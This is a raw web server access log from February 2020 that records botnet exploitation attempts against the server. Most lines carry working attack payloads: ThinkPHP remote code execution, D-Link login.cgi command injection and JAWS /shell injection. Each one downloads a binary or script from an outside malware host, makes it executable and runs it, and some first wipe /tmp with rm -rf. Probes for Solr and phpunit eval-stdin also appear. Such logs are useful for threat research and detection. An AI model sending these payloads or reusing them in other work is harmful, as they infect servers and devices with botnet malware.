175.35.173.108 - - [07/Feb/2020:02:10:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
87.64.57.116 - - [07/Feb/2020:02:11:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
49.228.6.144 - - [07/Feb/2020:02:14:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.116.227.180 - - [07/Feb/2020:02:16:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
35.232.66.127 - - [07/Feb/2020:02:19:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.94.33.139 - - [07/Feb/2020:02:21:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
60.213.103.181 - - [07/Feb/2020:02:23:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.57.41 - - [07/Feb/2020:02:24:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.116.90.238 - - [07/Feb/2020:02:25:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.101.0.209 - - [07/Feb/2020:02:25:24 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [07/Feb/2020:02:25:25 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [07/Feb/2020:02:26:13 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
94.15.36.160 - - [07/Feb/2020:02:26:23 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
183.80.89.110 - - [07/Feb/2020:02:29:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
92.124.143.0 - - [07/Feb/2020:02:30:31 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
42.119.205.109 - - [07/Feb/2020:02:33:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
88.250.86.42 - - [07/Feb/2020:02:33:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
113.23.58.196 - - [07/Feb/2020:02:35:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.101.0.209 - - [07/Feb/2020:02:37:07 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [07/Feb/2020:02:37:07 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [07/Feb/2020:02:37:08 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [07/Feb/2020:02:37:08 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [07/Feb/2020:02:37:59 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [07/Feb/2020:02:37:59 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
203.176.73.124 - - [07/Feb/2020:02:44:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.101.0.209 - - [07/Feb/2020:02:44:49 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [07/Feb/2020:02:44:50 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [07/Feb/2020:02:45:43 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
175.136.215.81 - - [07/Feb/2020:02:46:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
103.88.27.34 - - [07/Feb/2020:02:49:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.20.15 - - [07/Feb/2020:02:50:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.88.79 - - [07/Feb/2020:02:50:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
121.87.249.194 - - [07/Feb/2020:02:53:41 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
114.242.17.39 - - [07/Feb/2020:02:57:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.54.51.70 - - [07/Feb/2020:02:57:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
179.127.117.64 - - [07/Feb/2020:02:59:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
128.14.134.134 - - [07/Feb/2020:03:07:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
1.55.73.99 - - [07/Feb/2020:03:10:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.115.192.159 - - [07/Feb/2020:03:11:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.91.78.253 - - [07/Feb/2020:03:11:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
49.235.209.89 - - [07/Feb/2020:03:14:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
203.54.14.55 - - [07/Feb/2020:03:15:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.134.193.54 - - [07/Feb/2020:03:15:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
58.187.97.172 - - [07/Feb/2020:03:20:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
171.229.244.199 - - [07/Feb/2020:03:22:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
176.37.140.116 - - [07/Feb/2020:03:22:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
1.53.203.170 - - [07/Feb/2020:03:22:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.101.0.209 - - [07/Feb/2020:03:24:03 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [07/Feb/2020:03:26:48 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [07/Feb/2020:03:27:03 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
36.78.26.21 - - [07/Feb/2020:03:28:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.101.0.209 - - [07/Feb/2020:03:29:24 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
42.115.161.145 - - [07/Feb/2020:03:30:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.53.145.215 - - [07/Feb/2020:03:33:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
49.68.246.198 - - [07/Feb/2020:03:33:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
42.119.105.212 - - [07/Feb/2020:03:33:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.197.68.74 - - [07/Feb/2020:03:37:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
124.89.237.199 - - [07/Feb/2020:03:39:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
158.51.54.162 - - [07/Feb/2020:03:39:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.113.126.190 - - [07/Feb/2020:03:44:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
177.137.119.138 - - [07/Feb/2020:03:47:08 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
171.99.203.43 - - [07/Feb/2020:03:49:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
47.254.215.55 - - [07/Feb/2020:03:54:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
47.254.215.55 - - [07/Feb/2020:03:55:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
203.176.73.123 - - [07/Feb/2020:03:57:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
115.55.74.151 - - [07/Feb/2020:04:01:54 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://115.55.74.151:48921/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 404 310 "-" "Hello, world"
178.91.82.246 - - [07/Feb/2020:04:03:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
174.81.167.164 - - [07/Feb/2020:04:04:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
187.95.5.178 - - [07/Feb/2020:04:05:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
118.71.142.221 - - [07/Feb/2020:04:08:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
58.58.7.106 - - [07/Feb/2020:04:11:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
115.51.24.93 - - [07/Feb/2020:04:15:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
124.47.8.10 - - [07/Feb/2020:04:15:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
85.99.252.162 - - [07/Feb/2020:04:19:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
27.76.203.122 - - [07/Feb/2020:04:22:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
27.76.203.122 - - [07/Feb/2020:04:22:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
27.76.203.122 - - [07/Feb/2020:04:22:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
49.68.246.198 - - [07/Feb/2020:04:23:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
42.119.97.125 - - [07/Feb/2020:04:24:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.91.75.106 - - [07/Feb/2020:04:24:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
188.130.149.65 - - [07/Feb/2020:04:24:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
94.177.153.12 - - [07/Feb/2020:04:25:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.68.115.76 - - [07/Feb/2020:04:27:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
186.226.219.128 - - [07/Feb/2020:04:27:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
35.221.164.111 - - [07/Feb/2020:04:28:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.5.152.212 - - [07/Feb/2020:04:28:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
112.72.95.49 - - [07/Feb/2020:04:29:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.89.11 - - [07/Feb/2020:04:34:27 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
183.80.215.201 - - [07/Feb/2020:04:34:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
41.155.239.145 - - [07/Feb/2020:04:34:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.132.145.23 - - [07/Feb/2020:04:35:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
64.227.55.76 - - [07/Feb/2020:04:36:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
